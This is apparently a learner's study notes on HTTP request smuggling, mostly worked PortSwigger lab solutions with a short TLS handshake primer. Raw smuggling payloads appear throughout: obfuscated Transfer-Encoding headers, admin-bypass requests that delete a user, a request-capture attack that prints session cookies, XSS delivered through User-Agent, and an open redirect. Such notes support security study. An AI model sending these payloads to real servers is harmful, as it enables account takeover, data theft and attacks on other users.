# HTTP Request Smuggling
###### `webSecurity` `HTTP`
Refrence
https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/
[TOC]
# Introduction & Principle
HTTP request technique allowing the attack to bypass security control, gain unauthorized access to sensitive data
Affected the version of HTTP Protocol
- HTTP/1
- HTTP/2 (depending on their back-end architecture)
HTTP request smuggling can occur depending on the back-end systems. Attackers send ambiguous requests, and the back-end systems, such as load balance, might interpret part of the malicious payload as the next request, potentially causing the application to process the request.
## HTTP Connective mode (Exploit - mechanism)
### Keep-Alive (HTTP/1.0 ~ HTTP/1.1)
>HTTP/1.1 defaults to the use of “persistent connections”, allowing multiple requests and responses to be carried over a single connection. The “close” connection option is used to signal that a connection will not persist after the current request/response. HTTP implementations SHOULD support persistent connections.
### Pipline (HTTP/2.0)
The client doesn't wait for the server response. When the server receives the request, it follows a queue structure (FIFO) to send the response to the client
# Arise Situation
HTTP Protocol have two header to specify whether the request end.
- Content-Length
- Transfer-Encoding
## Content-Length Header
```
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
```
## Transfer-Encoding
`TE` is designed to implement safe transport of binary data over a 7 bit transport service.
在HTTP的情况下，Transfer-Encoding 的主要用来以指定的编码形式编码 payload body 安全地传输给用户。在 HTTP/1.1 中引入，在 HTTP/2 中取消。
Chunked attribute usually be use to bypass WAF (Special Encoding)
```
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
a\r\n
meowhecker\r\n
10\r\n
meow\r\nmeow\r\nmeow\r\n
0\r\n
\r\n
```
/r/n -> CRLF(enter + newLine ) (2 byte)
chunk size using (hexadecimal format) to express
Terminate with a chunk block of size zero.
Note:
- Burp suite automatically unpack the chunked encoding !!
- Browser(front-end) typically do not use the chunk encodind. server(back-end) usually employ the chunk encoding.
### CDN service
HTTP Smuggling 攻击正是基于反向代理与后端服务器对于 HTTP 请求解析处理不一致，利用这种差异性我们可以在一个 HTTP 请求中 “嵌入” 另一个 HTTP 请求，以达到我们“走私”请求的目的，直接表现为我们可以访问内网服务，或者造成一些其他的攻击
## Rule
If server provide two method to specifying the length of the HTTP message
Priority:
Transfer-Encoding > Contents-Length
- Some servers don't support the Transfer-Encoding header in the request.
- Some servers that do support the `Transfer-Encoding` header can be induced not to process it if the header is obfuscated in some way.
If the front-end and back-end servers behave differently in relation to the (possibly obfuscated) `Transfer-Encoding` header, then they might disagree about the boundaries between successive requests, leading to request smuggling vulnerabilities.
## Attack Methods
(techniques are only possible using HTTP/1 requests)
placing both the `Content-Length` header and the `Transfer-Encoding` header into a single HTTP/1 request and manipulating these so that the front-end and back-end servers process the request differently
Attack types
CL.TE
TE.CL
TE.TE
==Note==
Burp, use HTTP/2 by default to communicate with servers
when testing sites with HTTP/2 support, you need to manually switch protocols in Burp Repeater. You can do this from the **Request attributes** section of the **Inspector** panel.
## Content-Length calculate
content-Length -> 155 bytes
/r/n 2byte (spcae or CRLF)
## Has Cl in GET
Front-end
```
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```
Back-end
```
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```
The front-end proxy or server parses it as one request,
while the back-end server sees the request as two different requests."
```
POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked
0
GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker
```
```
POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked
0
```
```
GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker
```
## CL.TE Vulnerability
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
```
Front (poxcy) 會根據Content-Length 把全部當成一個reqeust
Backend -> Transfer-Encoding
把這個視為2個 reqeust 且等待另一個不完整的request
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
```
G 會被拚到 下一個request 的前面
## LAB-HTTP reqeust smuggling, basic CL.TE vulnerability
Website didn't allow other HTTP verb exclude get,post
website using HTTP /1.1
Connection-keep-alive
**連線繼續開著，讓接下來送往同一伺服器的請求利用**
Client
Content-Length -> 6
-> 0GPOST
Server
Transfer-Encoded -> 0
"GPOST" be paser to next request !!
## TE.CT vulnerability
Front-end -> transfer-Encoding
back-end -> Content-Lenght
### Construct Simple HTTP request smuggling
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
10
meowhecker
0/r/n
/r/n
```
Note: Using burp suit, we have to ensure "Updata content length options is un check"
Front-end(proxcy) as the reqeust is a complite reqeust and forward to backend systems
Back-end systems user content-length header to determine the request's EOF(End of File)
The content-Length is 4, the first request process the 10/r/n. and remaining "meowhecker" body will be seen as part of the next request , waiting untile the request is complete.
## LAB HTTP request smuggling Basic TE-CL vulnerability
```
POST / HTTP/1.1
Host: 0aa2005b03cd78d7ac0b87a7009700b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
```
x=1 (invalid request)
## TE.TE Behavior obfuscating TE header
Both front-end and back-end system support the transfer-encoding
To Prevent one of server from processing the request with transfer-encoding, we can obfuscating the header
Obfuscate payload
```
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
Actual code implementing a protocol specification often doesn't perfectly match the specification
we need to identify a method to induce front-end or back-end systems ingore the Transfer-Encoding Header
the remainder of the attack will take the same form as for the CL.TE or TE.CL vulnerabilities.
## LAB: HTTP reqeust smuggling, obfuscating the TE header
HTTP Smuggling Attack
```
POST / HTTP/1.1
Host: 0a2800e80491185c8272704b00610049.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: Meowhcker
63
GPOST / HTTP/1.1
content-Type: application/x-www-form-urlencoded
content-length: 20
x=mehecker
0
```
The reqeust will be see as a complete request by front-end systems.
However, when we add "Transfer-encoding: Meowhcker" back-end systems pase it, and ignore the Transfer-encoding header, and use content-Type to identify the reqeust EOF.
# Identify the vulnerability
you have the let proxcy server seen our constrcute reqeust as two reqeust
## Time Delay
the core concept of this technology is to manipulate the reqeust and make the back-end systems base on either 'Content-Length' or 'Transfer-Encoding' wait for the remaining request payload, leading to a time delay.
### CL.TE Situation
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
```
"X" will be seen as the next request
the back-end will process the first reqeust, and warit for the the remaining part of request, This allow us to observe the response time.
Back-emd didn't reseive the 0 size chunk, so it will wait for the next chunk arrive.
### TE.CL situation
```
POST / HTTP 1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
```
Proxy Server or Front-end systems will parse it and forward to server
```
POST / HTTP 1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
```
Payload size is zero.
However the back-end systems using Content-Length header to identify the reqeust'EOF. This case it will waiting the 6-byte payload content, resulting time delay.
>Note
The timing-based test for TE.CL vulnerabilities will potentially disrupt other application users if the application is vulnerable to the CL.TE variant of the vulnerability. So to be stealthy and minimize disruption, you should use the CL.TE test first and continue to the TE.CL test only if the first test is unsuccessful.
## Different Response
### CL.TE
```
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
```
```
GET /404 HTTP/1.1
Foo: x
```
Two line of this reqesut are treated by back-end server as belonging to the next reqeust that is received
```
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
```
---
### LAB-HTTP request smuggling, confirming a CL.TE vulnerability via differential responses.
```
POST / HTTP/1.1
Host: 0a9b00a80484a9ba8184a84a00ae0029.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Transfer-Encoding: chunked
0
GET /meowHeckerAttack HTTP/1.1
meow: meow
```
Adding the "header" is to avoid the "invalid request".
### TE.CL
```
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
```
```
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
```
>note
- Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests:
- The "attack" request and the "normal" request should be sent to the server using different network connections. Sending both requests through the same connection won't prove that the vulnerability exists.
- The "attack" request and the "normal" request should use the same URL and parameter names, as far as possible. This is because many modern applications route front-end requests to different back-end servers based on the URL and parameters. Using the same URL and parameters increases the chance that the requests will be processed by the same back-end server, which is essential for the attack to work.
- When testing the "normal" request to detect any interference from the "attack" request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. You should send the "normal" request immediately after the "attack" request. If the application is busy, you might need to perform multiple attempts to confirm the vulnerability.
- In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.
- If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.
### LAB- HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
```
POST / HTTP/1.1
Host: 0a0d000d03575fd38aba228b005300cc.web-security-academy.net
Content-Type: application/w-xxx-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
77
POST /meowheckerAttack HTTP/1.1
Content-Type: application/w-xxx-form-urlencoded
Content-Length: 50
meow=meowhecker
0
```
這裡的Content-Length 跟 payload 並不重要 因為我們只是要 404 的response 來證明這裡易受攻擊
# Exploiting
## Bypass the front-end security controls
If the front-end server is respnsible for access control restrictions and back-end server didn't property check the request from the front-end server, it potentially allow us to exploit smuggling attack to bypass the access control measures.
Sample (CL.TE)
```
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
```
## LAB-Exploiting HTTP reqeust snuggling to bypass front-end security controls, (CT.LE)
Identify vulnerabiltiy (CL.TE)
```
POST / HTTP/1.1
Host: 0ac0007d04a4c607823052ad008a0080.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
```
By pass the local user restrictions
```
POST / HTTP/1.1
Host: 0ac0007d04a4c607823052ad008a0080.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
```
```
POST / HTTP/1.1
Host: 0ac0007d04a4c607823052ad008a0080.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
ignoreNextReqeust=
```
Summgling Reqeus "Content-Legnth" size need to big the current reqeust payload size.
Next
```
POST / HTTP/1.1
Host: 0ac0007d04a4c607823052ad008a0080.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
ignoreNextReqeust=
```
## LAB Exploiting HTTP reqeust smuggling to bypass front -end security controls, TE CL vulnerability
### Identify
```
POST / HTTP/1.1
Host: 0af500650392515d803bd5df00b60031.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
90
POST /meowNotExists HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
nextReqeust=
0
```
### Attempt to Access the admin penal
```
POST / HTTP/1.1
Host: 0af500650392515d803bd5df00b60031.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
6a
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
nextReqeust=
0
```
```
Admin interface only available to local users
```
we could add "Host localhost" header to bypass the restriction.
```
POST / HTTP/1.1
Host: 0af500650392515d803bd5df00b60031.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7b
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
Host: localhost
nextReqeust=
0
```
```
/admin/delete?username=carlos
```
```
POST / HTTP/1.1
Host: 0af500650392515d803bd5df00b60031.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
92
POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
Host: localhost
nextReqeust=
0
```
## Revealing front-end request rewriting
front-end server or proxcy typically will rewrite or extract the packet header before forwarding them to the backend systems.
e.g.
- Termenate the http TLS
- Add x-Forwarded-for header (userIP)
- Base on the user ID on their session token abd add the header to identify it.
In certain situation:
if the smuggled request are missing the header adding from the front-end server, back-end server may not able to process the smuggled reqeurs in normal way.
### Capture the front-end request
"Smuggling requests with a 'Content-Length' length can impact the POST value. If the length is too short, you will only receive a part of the rewritten request. If it's too long, the back-end will wait for the request to complete, potentially resulting in a timeout."
Once we success to retrive the rewritting request header we can include them in our smuggling requret to ensure them will work correctly. or obtain the sensitive infomation from header.
## Exploiting HTTP request smuggling to reveal front-end request rewriting
Identify Vulnerability
```
POST / HTTP/1.1
Host: 0a7e00c10342b4908062d500001000ae.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Transfer-Encoding: chunked
0
GET /meow404 HTTP/1.1
meow: meow
```
Retrive the header from the front-end server
```
POST / HTTP/1.1
Host: 0a7e00c10342b4908062d500001000ae.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
search=
```
Access the admin pannel
```
POST / HTTP/1.1
Host: 0a7e00c10342b4908062d500001000ae.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
search=
```
```
X-OUWmjC-Ip: 118.163.251.115
```
```
POST / HTTP/1.1
Host: 0a7e00c10342b4908062d500001000ae.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-OUWmjC-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
search=
```
```
POST / HTTP/1.1
Host: 0a7e00c10342b4908062d500001000ae.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Transfer-Encoding: chunked
0
POST /admin/delete?username=carlos HTTP/1.1
X-OUWmjC-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
search=
```
## TLS
Referece:
https://medium.com/@vanrijn/an-overview-of-the-ssl-handshake-3885c37c3e0f
TLS (Transport Layer Security)
TLS is offent reference SSL (secure socket layer)
SSL is used to protect end-to-end communication by employing cryptographic algorithms, they already been authenticated !
### TLS/SSL hackShake
Before we establish the TLS handshark, we need to establish the connection
if connection is complet, the client have to send the client Hello to the server
(client)
- SSL/TLS Protocol version
- Session ID
- list of cyper suites
- list of client hello extenstion
The server responds with a 'Server Hello' including:
- SSL/TLS protocol version
- A cipher suites from the list of cipher suite provice by client
- certificate of the server
- list of server hello extension
Upon receive the Server Hello, the server willdautheication to check the client identity.(optional)
And client will authonenticates the certifice and do follwing check.
- Whether today's date is within the certificate's validity period
- Whether the issuing Certificate Authority (CA) is a trusted CA
- Whether the CA's public key validates the issuer's digital signature
- Whether the domain name in the server certificate matches the server's actual domain name
>Note
the certificate is used to ensure that the server is trusted and secure.
After this the server is **authenticated** the client will continue with the following steps¹:
if (clietnAuth = true):
the client create pre-master secret, it will be encrypted by the server publish key and send to the server
if the client was successfully authenticated, the server will use the private key to decrypy the pre-master secret and perform serial of steps to genrate the master secret (client also do that)
client and server will use the master scret to generate the session key, which is symmetric keys used to encrypte and decrpted infroamtion exchanged during the SSL session and verify its intergrity.
SSL hackshake is compite
### CipherSuite
CipherSuite is used to SSL connction
A CipherSuite contains three different algorithms:
- key exchange and authentication walgorithm used during the handshake
- The encryption algorithm used to encipher the data
- An algorithm, such as a Message Authentication Code (MAC), used to ensure message integrity.
Message digest or one-way hash is fingerprint of the data, it can ensure the data not be arbitrary modified.
In a CipherSuite have manay option for each componet of suite, However if you want to establish the SSl connection which only allow specific combinations
as the following
sample TLS\_RSA\_WITH\_AES\_128\_GCM\_SHA256
- RSA -> key exchange and autheication
- AES(_Advanced Encryption Standard_) 128 -> 128 bit key
- SHA 256
This type of CipherSuite combination ensures a secure SSL connection.
### Certificates
A public key is used to encrypt user account and password information during the authentication process. X.509 certificates play a significant role in this encryption method.
A certificate comprises two main components of information:
- Identifying Info, Name, Address, DomainNane
- Puplish key
With this piece of information anyone who obtains your X509 certificate from a CA, can verify your identity and encrypt data for you. Only you are then able to decrypt and read the message.
### Conclusion
- SSL can be used to secure communication between two entities.
- The Client initiates the SSL Handshake.
- The Server selects the Cipher.
- The Server gives the X.509 certificate and client authenticates the server. Its optional that the server requires the client X.509 certificate.
- After a successful SSL handshake, the server and client can communicate encrypted messages. The messages can only be decrypted by the receiver.
## Bypassing Client Authentication
the setificate contain a common Name (CN) which allows for the verificatin of wherter the server'registerd hostname matches the CN
### Mutual TLA authentication
"Mutual TLS authentication means that the client also needs to send a certificate to the server. In this setup, the Common Name (CN) in the certificate is often used as the username. In the backend systems, the CN can be extracted to implement access control mechanisms.
For example, the front-end server or proxy can add non-standard HTTP headers and forward them to the server:
```
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
```
This allows us to attempt to retrieve the non-standard header from the front-end and use it for potential bypassing of client authentication."
:DDDDD
```
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
```
## Captureing other user's request
If applicaiton can display the message form the http post request on a page (reflected),there is potential for exploitation to capture other users' requests and steal their session tokens.
This can be exploited as a vulnerability."
```
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
```
the comment value will be reflect on the comment block present on the screen
if we try to add conntent-length the server will wait the remainding reqest, and then we have chance to caputer the reqeust from other user
Example
```
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
```
## LAB-Exploiting HTTp request smuggling to capture other user's reqeust
front-end server doesn't support chunked encoding
Identify the vulnerability
----
```
POST / HTTP/1.1
Host: 0a83001e04d460208070355300700077.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length:292
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencode
Content-Length:940
Cookie: session=hWFX1LlcQojlqFwtbfRYbeJoDLxTsk3z
csrf=Tj7zbtDoV8db3Dm3EDhcyaHZjhRuGjBj&postId=8&comment=test&name=test&email=meowhecker@meow.net&website=http:/meowhecker.meow&comment=meow
```
Conetnet-length 調超久XD
```
GET / HTTP/1.1 Host: 0a83001e04d460208070355300700077.web-security-academy.net cookie: victim-fingerprint=LRSEu6xLF5SIb8YtZQuXYaYrtttw62Jt; secret=SVqDzhNLkpnZHEqftQ3nCv9wLisc2EOE; session=jUz4CCOZHK2HkeWOunnv2T4Sz8xxcZ5p
Content
```
login as otherUser
## Using HTTP reqeust smuggling to exploit reflected XSS
If application is vulnerable to both reflected XSS, and HTTP reqesut smuggling, the combination of these vulnerabilities can significantly enhance the overall impact.
This allow us to trigger the relfected XSS without having to wait for a user to click a URL,the XSS payload can be execute through other user'normal reqeust
Additionally, we can attempt to inject the javascript into HTTP header and use the HTTP smuggling to trigger it.
Example
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
```
## Exploing HTTP reqeust smuggling to delive reflect xss
Identify Smuggling vulnerability
```
POST / HTTP/1.1
Host: 0a0d00be04b1599681e8367900300063.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 37
0
GET /meow404 HTTP/1.1
meow:meow
```
we can fount very odd parametner is 'userAgent'
we can attemtp to inject js to testing it
```
eow"><script>alert(1)</script>
```
```
POST / HTTP/1.1
Host: 0aa600fd047d740d8aa8299d00220019.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 161
0
GET /post?postId=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
User-Agent: meow"><script>alert(1)</script>
meow=meow
```
## Transform an on-site redirect into an open redirect.
Am on-site redirect refers the web redirecting to page with in internal web, such as the homepage or another location on same webiste.
open redirect allow the attacker to manipulate the web redirect to malicious website or URLs.
On-site redirect Example
```
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
### Rewrite the Location value
In HTTP header, the location value is dependent on the host value
In this case we can attempt manipulate host value to impact the Location Header leading to the open redirect.
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
When the Victim send the normal request
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### Turning root-relative redirects into open redirects
(skip) 看不懂
20231013
---
Auther:meowhecker
Gmail: mailto:meowheckerouo@gmail.com
Sign in with Wallet
Connect another wallet